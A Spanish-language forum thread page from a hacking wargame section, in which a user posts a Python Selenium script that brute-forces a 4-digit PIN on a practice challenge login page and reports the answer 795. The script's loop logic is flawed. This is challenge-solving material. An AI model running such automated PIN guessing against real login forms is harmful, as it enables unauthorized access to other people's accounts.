elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: [Aporte] Mejores practicas en Java


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Seguridad
| | |-+  Desafíos - Wargames (Moderador: Kasswed)
| | | |-+  [RETO] Averiguar El Nip de 4 Digitos para acceder
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: [RETO] Averiguar El Nip de 4 Digitos para acceder  (Leído 2,857 veces)
TheChild

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: [RETO] Averiguar El Nip de 4 Digitos para acceder
« Respuesta #10 en: 25 Julio 2016, 01:25 »

jaja parece que la cosa esta muy difícil


En línea

tincopasan


Desconectado Desconectado

Mensajes: 941


No es lo mismo conocer el camino que recorrelo.


Ver Perfil
Re: [RETO] Averiguar El Nip de 4 Digitos para acceder
« Respuesta #11 en: 30 Julio 2016, 05:36 »

recién veo el desafío porque no soy de mirar esta parte del foro, la verdad seguro se puede hacer de otra forma, pero es para alguien que sepa más que yo, ahora como vi que lo resuelven por bruteforce con vb.net voy a mostrar otra forma de hacer lo mismo con python
Código
  1. #-*- coding:utf-8 -*-
  2. import time,unittest
  3. from selenium import webdriver        
  4.  
  5. pagina = webdriver.Firefox()        
  6. pagina.get("http://practicashacking.net23.net/login.php")
  7. numero=0
  8. while numero < 1000:
  9.    if numero < 100:
  10.        numero=str(numero).zfill(3)
  11.        llenar=numero
  12.        numero=int(numero)
  13.        pin = pagina.find_element_by_name("digi")  
  14.        pin.clear()        
  15.        pin.send_keys(llenar)                
  16.        acceder = pagina.find_element_by_name("enviar")  
  17.        acceder.click()                              
  18.        chico_malo=pagina.find_elements_by_xpath("//img[@src='access-denied.png']")
  19.        if len(chico_malo) == 1:        
  20.            pagina.back()
  21.            numero+=1
  22.        else:
  23.            print(numero)            
  24.            pagina.quit()
  25.    else:
  26.        llenar=numero
  27.        pin = pagina.find_element_by_name("digi")  
  28.        pin.clear()        
  29.        pin.send_keys(llenar)                
  30.        acceder = pagina.find_element_by_name("enviar")
  31.        acceder.click()                                
  32.        chico_malo=pagina.find_elements_by_xpath("//img[@src='access-denied.png']")
  33.        if len(chico_malo) == 1:
  34.            pagina.back()
  35.            numero+=1
  36.        else:
  37.            print(numero)
  38.            pagina.quit()
  39.  
>>>795

se puede mejorar mucho con clases e hilos(pero eso es un tutorial aparte) para agilizar la búsqueda y creo pero no estoy del todo seguro en cuanto a web, también usar CUDA,además de eliminar algún error.
Otra cosa, vi que Flamer pusiste como saltar lo del click derecho por medio de edición de código, es mucho más facil si simplemente presionas simultaneamente Shift + click-derecho

Saludos.


En línea

Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines